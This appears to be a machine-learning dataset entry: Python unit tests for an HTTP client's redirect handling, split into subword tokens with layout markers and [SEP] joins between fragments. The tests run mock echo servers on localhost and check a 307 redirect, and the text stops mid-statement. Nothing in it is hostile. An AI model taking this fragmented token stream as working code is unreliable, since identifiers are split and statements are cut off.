"=_", "b", "'", "HTTP", "/", "1.1", " ", "200", " ", "OK", "\\\\", "r", "\\\\", "n", "Conten", "t", "-", "Length", ":", " ", "122", "\\\\", "r", "\\\\", "n", "Conten", "t", "-", "Type", ":", " ", "applica", "tion", "/", "json", "\\\\", "r", "\\\\", "n", "Date", ":", " ", "Thu", ",", " ", "30", " ", "Ap", "r", " ", "201", "5", " ", "1", "9", ":", "3", "7", ":", "1", "7", " ", "GM", "T", "\\\\", "r", "\\\\", "n", "Server", ":", " ", "Io", "Boo", "k", ".", "local", "\\\\", "r", "\\\\", "n", "\\\\", "r", "\\\\", "n", "{", "\"", "content", "\":", " ", "null", ",", " ", "\"", "query", "\":", " ", "{", "\"", "name", "\":", " ", "\"", "fam", "e", "\"},", " ", "\"", "verb", "\":", " ", "\"", "GET", "\",", " ", "\"", "url", "\":", " ", "\"", "http", "://", "127", ".0", ".0", ".1", ":", "808", "0", "/", "echo", "?", "name", "=", "fam", "e", "\",", " ", "\"", "action", "\":", " ", "null", "}'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ix", "Client_", "._", "tx_", "(_", "msg", "Out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "msg", "In_", "=_", "b", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "msg", "Out_", "=_", "b", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "server_", "._", "service", "Tx", "es", "All", "Ix", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Basic", "Test", "Case_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "Patr", "on", "Redirect", "Simple_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Test", " ", "Patr", "on", " ", "redirec", "t", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"{", "0", "}\\\\", "n", "\"_", "._", "format_", "(_", "self_", "._", "test", "Patr", "on", "Redirect", "Simple_", "._", "\\u\\u", "doc\\u\\u_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "wire", "Log", "Alpha_", "=_", "wir", "ing_", "._", "Wire", "Log_", "(_", "buff", "ify_", "=_", "True_", ",_", "same_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "=_", "wire", "Log", "Alpha_", "._", "reo", "pen_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "alpha_", "=_", "tcp_", "._", "Server_", "(_", "port_", "=_", "610", "1_", ",_", "bufsize_", "=_", "1310", "72_", ",_", "wl", "og_", "=_", "wire", "Log", "Alpha_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "alpha_", "._", "reo", "pen_", "(_", ")_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "alpha_", "._", "ha_", ",_", "(_", "'", "0.", "0.", "0.", "0", "'_", ",_", "610", "1_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "alpha_", "._", "eh", "a_", ",_", "(_", "'", "127", ".0", ".0", ".1", "'_", ",_", "610", "1_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"{", "0", "}\\\\", "n", "\"_", "._", "format_", "(_", "\"", "Building", " ", "Connect", "or", " ", "...", "\\\\", "n", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "wire", "Log", "Beta", "_", "=_", "wir", "ing_", "._", "Wire", "Log_", "(_", "buff", "ify_", "=_", "True_", ",_", "same_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "=_", "wire", "Log", "Beta", "_", "._", "reo", "pen_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "host_", "=_", "alpha_", "._", "eh", "a_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "port_", "=_", "alpha_", "._", "eh", "a_", "[_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "beta_", "=_", "client", "ing_", "._", "Patr", "on_", "(_", "bufsize_", "=_", "1310", "72_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "wl", "og_", "=_", "wire", "Log", "Beta", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "hostname_", "=_", "host_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "port_", "=_", "port_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "reconnect", "able_", "=_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "connector_", "._", "reo", "pen_", "(_", ")_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "connector_", "._", "accepted_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "connector_", "._", "connected_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "connector_", "._", "cutoff_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "request_", "=_", "odict_", "(_", "[_", "(_", "'", "method", "'_", ",_", "u", "'", "GET", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "path", "'_", ",_", "u", "'/", "echo", "?", "name", "=", "fam", "e", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "qa", "rg", "s", "'_", ",_", "odict_", "(_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "fragment", "'_", ",_", "u", "''_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "header", "s", "'_", ",_", "odict_", "(_", "[_", "(_", "'", "Accept", "'_", ",_", "'", "applica", "tion", "/", "json", "'_", ")_", "]_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "body", "'_", ",_", "None_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "beta_", "._", "requests_", "._", "append_", "(_", "request_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "while_", "(_", "not_", "alpha_", "._", "ix", "es_", "or_", "beta_", "._", "requests_", "or_", "\\u\\u\\uNL\\u\\u\\u_", "beta_", "._", "connector_", "._", "tx", "es_", "or_", "not_", "beta_", "._", "respond", "ent_", "._", "ended_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "mock", "Redirect", "Service_", "(_", "alpha_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "beta_", "._", "service", "All_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "len_", "(_", "beta_", "._", "connector_", "._", "rx", "bs_", ")_", ",_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "wait", "ed_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "respond", "ent_", "._", "ended_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "len_", "(_", "beta_", "._", "responses_", ")_", ",_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "=_", "beta_", "._", "responses_", "._", "popleft_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "response_", ",_", "{_", "'", "version", "'_", ":_", "(_", "1_", ",_", "1_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "status", "'_", ":_", "200_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "reason", "'_", ":_", "'", "OK", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "header", "s", "'_", ":_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "'", "content", "-", "length", "'_", ":_", "'", "122", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "content", "-", "type", "'_", ":_", "'", "applica", "tion", "/", "json", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "date", "'_", ":_", "'", "Thu", ",", " ", "30", " ", "Ap", "r", " ", "201", "5", " ", "1", "9", ":", "3", "7", ":", "1", "7", " ", "GM", "T", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "server", "'_", ":_", "'", "Io", "Boo", "k", ".", "local", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "body", "'_", ":_", "bytearray_", "(_", "b", "''_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "data", "'_", ":_", "{_", "'", "action", "'_", ":_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "content", "'_", ":_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "query", "'_", ":_", "{_", "'", "name", "'_", ":_", "'", "fam", "e", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "url", "'_", ":_", "'", "http", "://", "127", ".0", ".0", ".1", ":", "808", "0", "/", "echo", "?", "name", "=", "fam", "e", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "verb", "'_", ":_", "'", "GET", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "error", "'_", ":_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "errore", "d", "'_", ":_", "False_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "redirec", "ts", "'_", ":_", "[_", "{_", "'", "body", "'_", ":_", "bytearray_", "(_", "b", "''_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "data", "'_", ":_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "header", "s", "'_", ":_", "{_", "'", "access", "-", "control", "-", "allow", "-", "orig", "in", "'_", ":_", "'*'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "content", "-", "length", "'_", ":_", "'", "0", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "content", "-", "type", "'_", ":_", "'", "text", "/", "plain", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "location", "'_", ":_", "'", "http", "://", "local", "host", ":", "610", "1", "/", "redirec", "t", "?", "name", "=", "fam", "e", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "reason", "'_", ":_", "'", "Tempora", "ry", " ", "Redirect", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "error", "'_", ":_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "errore", "d", "'_", ":_", "False_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "request", "'_", ":_", "{_", "'", "body", "'_", ":_", "b", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "data", "'_", ":_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "far", "gs", "'_", ":_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "fragment", "'_", ":_", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "header", "s", "'_", ":_", "{_", "'", "accept", "'_", ":_", "'", "applica", "tion", "/", "json", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "host", "'_", ":_", "'", "127", ".0", ".0", ".1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "method", "'_", ":_", "'", "GET", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "path", "'_", ":_", "'/", "echo", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "port", "'_", ":_", "610", "1_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "qa", "rg", "s", "'_", ":_", "{_", "'", "name", "'_", ":_", "'", "fam", "e", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "sche", "me", "'_", ":_", "'", "http", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "status", "'_", ":_", "307", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "version", "'_", ":_", "(_", "1_", ",_", "1_", ")_", "}_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "request", "'_", ":_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "'", "host", "'_", ":_", "'", "127", ".0", ".0", ".1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "port", "'_", ":_", "610", "1_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "sche", "me", "'_", ":_", "'", "http", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "method", "'_", ":_", "'", "GET", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "path", "'_", ":_", "'/", "redirec", "t", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "qa", "rg", "s", "'_", ":_", "{_", "'", "name", "'_", ":_", "'", "fam", "e", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "fragment", "'_", ":_", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "header", "s", "'_", ":_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "'", "accept", "'_", ":_", "'", "applica", "tion", "/", "json", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "body", "'_", ":_", "b", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "data", "'_", ":_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "far", "gs", "'_", ":_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "alpha_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "beta_", "._", "connector_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "wire", "Log", "Alpha_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "wire", "Log", "Beta", "_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Basic", "Test", "Case_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "mock", "Redirect", "Comple", "x", "Service", "A_", "(_", "self_", ",_", "server_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "mock", " ", "echo", " ", "server", " ", "service", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "server_", "._", "service", "Connect", "s_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "server_", "._", "ix", "es_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "server_", "._", "service", "Receive", "s", "All", "Ix", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "ix", "Client_", "=_", "server_", "._", "ix", "es_", "._", "values_", "(_", ")_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "msg", "In_", "=_", "bytes_", "(_", "ix", "Client_", "._", "rx", "bs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "msg", "In_", "==_", "b", "'", "GET", " ", "/", "echo", "?", "name", "=", "fam", "e", " ", "HTTP", "/", "1.1", "\\\\", "r", "\\\\", "n", "Host", ":", " ", "127", ".0", ".0", ".1", ":", "610", "1", "\\\\", "r", "\\\\", "n", "Accept", "-", "Enco", "ding", ":", " ", "identi", "ty", "\\\\", "r", "\\\\", "n", "Accept", ":", " ", "applica", "tion", "/", "json", "\\\\", "r", "\\\\", "n", "\\\\", "r", "\\\\", "n", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ix", "Client_", "._", "clear", "Rx", "bs_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "msg", "Out_", "=_", "b", "'", "HTTP", "/", "1.1", " ", "307", " ", "Tempora", "ry", " ", "Redirect", "\\\\", "r", "\\\\", "n", "Conten", "t", "-", "Type", ":", " ", "text", "/", "plain", "\\\\", "r", "\\\\", "n", "Conten", "t", "-", "Length", ":", " ", "0", "\\\\", "r", "\\\\", "n", "Access", "-", "Control", "-", "All", "ow", "-", "Orig", "in", ":", " ", "*\\\\", "r", "\\\\", "n", "Locat", "ion", ":", " ", "http", "://", "local", "host", ":", "610", "3", "/", "redirec", "t", "?", "name", "=", "fam", "e", "\\\\", "r", "\\\\", "n", "\\\\", "r", "\\\\", "n", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ix", "Client_", "._", "tx_", "(_", "msg", "Out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "msg", "In_", "=_", "b", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "msg", "Out_", "=_", "b", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "server_", "._", "service", "Tx", "es", "All", "Ix", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Basic", "Test", "Case_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "mock", "Redirect", "Comple", "x", "Service", "G_", "(_", "self_", ",_", "server_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "mock", " ", "echo", " ", "server", " ", "service", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "server_", "._", "service", "Connect", "s_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "server_", "._", "ix", "es_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "server_", "._", "service", "Receive", "s", "All", "Ix", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "ix", "Client_", "=_", "server_", "._", "ix", "es_", "._", "values_", "(_", ")_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "msg", "In_", "=_", "bytes_", "(_", "ix", "Client_", "._", "rx", "bs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "msg", "In_", "==_", "b", "'", "GET", " ", "/", "redirec", "t", "?", "name", "=", "fam", "e", " ", "HTTP", "/", "1.1", "\\\\", "r", "\\\\", "n", "Host", ":", " ", "local", "host", ":", "610", "3", "\\\\", "r", "\\\\", "n", "Accept", "-", "Enco", "ding", ":", " ", "identi", "ty", "\\\\", "r", "\\\\", "n", "Accept", ":", " ", "applica", "tion", "/", "json", "\\\\", "r", "\\\\", "n", "\\\\", "r", "\\\\", "n", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ix", "Client_", "._", "clear", "Rx", "bs_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "msg", "Out_", "=_", "b", "'", "HTTP", "/", "1.1", " ", "200", " ", "OK", "\\\\", "r", "\\\\", "n", "Conten", "t", "-", "Length", ":", " ", "122", "\\\\", "r", "\\\\", "n", "Conten", "t", "-", "Type", ":", " ", "applica", "tion", "/", "json", "\\\\", "r", "\\\\", "n", "Date", ":", " ", "Thu", ",", " ", "30", " ", "Ap", "r", " ", "201", "5", " ", "1", "9", ":", "3", "7", ":", "1", "7", " ", "GM", "T", "\\\\", "r", "\\\\", "n", "Server", ":", " ", "Io", "Boo", "k", ".", "local", "\\\\", "r", "\\\\", "n", "\\\\", "r", "\\\\", "n", "{", "\"", "content", "\":", " ", "null", ",", " ", "\"", "query", "\":", " ", "{", "\"", "name", "\":", " ", "\"", "fam", "e", "\"},", " ", "\"", "verb", "\":", " ", "\"", "GET", "\",", " ", "\"", "url", "\":", " ", "\"", "http", "://", "127", ".0", ".0", ".1", ":", "808", "0", "/", "echo", "?", "name", "=", "fam", "e", "\",", " ", "\"", "action", "\":", " ", "null", "}'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ix", "Client_", "._", "tx_", "(_", "msg", "Out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "msg", "In_", "=_", "b", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "msg", "Out_", "=_", "b", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "server_", "._", "service", "Tx", "es", "All", "Ix", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Basic", "Test", "Case_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "Patr", "on", "Redirect", "Complex_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Test", " ", "Patr", "on", " ", "redirec", "t", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"{", "0", "}\\\\", "n", "\"_", "._", "format_", "(_", "self_", "._", "test", "Patr", "on", "Redirect", "Complex_", "._", "\\u\\u", "doc\\u\\u_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "wire", "Log", "Alpha_", "=_", "wir", "ing_", "._", "Wire", "Log_", "(_", "buff", "ify_", "=_", "True_", ",_", "same_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "=_", "wire", "Log", "Alpha_", "._", "reo", "pen_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "alpha_", "=_", "tcp_", "._", "Server_", "(_", "port_", "=_", "610", "1_", ",_", "bufsize_", "=_", "1310", "72_", ",_", "wl", "og_", "=_", "wire", "Log", "Alpha_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "alpha_", "._", "reo", "pen_", "(_", ")_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "alpha_", "._", "ha_", ",_", "(_", "'", "0.", "0.", "0.", "0", "'_", ",_", "610", "1_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "alpha_", "._", "eh", "a_", ",_", "(_", "'", "127", ".0", ".0", ".1", "'_", ",_", "610", "1_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "wire", "Log", "Gamma", "_", "=_", "wir", "ing_", "._", "Wire", "Log_", "(_", "buff", "ify_", "=_", "True_", ",_", "same_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "=_", "wire", "Log", "Gamma", "_", "._", "reo", "pen_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "gamma_", "=_", "tcp_", "._", "Server_", "(_", "port_", "=_", "610", "3_", ",_", "bufsize_", "=_", "1310", "72_", ",_", "wl", "og_", "=_", "wire", "Log", "Gamma", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "gamma_", "._", "reo", "pen_", "(_", ")_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "gamma_", "._", "ha_", ",_", "(_", "'", "0.", "0.", "0.", "0", "'_", ",_", "610", "3_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "gamma_", "._", "eh", "a_", ",_", "(_", "'", "127", ".0", ".0", ".1", "'_", ",_", "610", "3_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"{", "0", "}\\\\", "n", "\"_", "._", "format_", "(_", "\"", "Building", " ", "Connect", "or", " ", "...", "\\\\", "n", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "wire", "Log", "Beta", "_", "=_", "wir", "ing_", "._", "Wire", "Log_", "(_", "buff", "ify_", "=_", "True_", ",_", "same_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "=_", "wire", "Log", "Beta", "_", "._", "reo", "pen_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "host_", "=_", "alpha_", "._", "eh", "a_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "port_", "=_", "alpha_", "._", "eh", "a_", "[_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "beta_", "=_", "client", "ing_", "._", "Patr", "on_", "(_", "bufsize_", "=_", "1310", "72_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "wl", "og_", "=_", "wire", "Log", "Beta", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "hostname_", "=_", "host_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "port_", "=_", "port_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "reconnect", "able_", "=_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "connector_", "._", "reo", "pen_", "(_", ")_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "connector_", "._", "accepted_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "connector_", "._", "connected_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "connector_", "._", "cutoff_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "request_", "=_", "odict_", "(_", "[_", "(_", "'", "method", "'_", ",_", "u", "'", "GET", 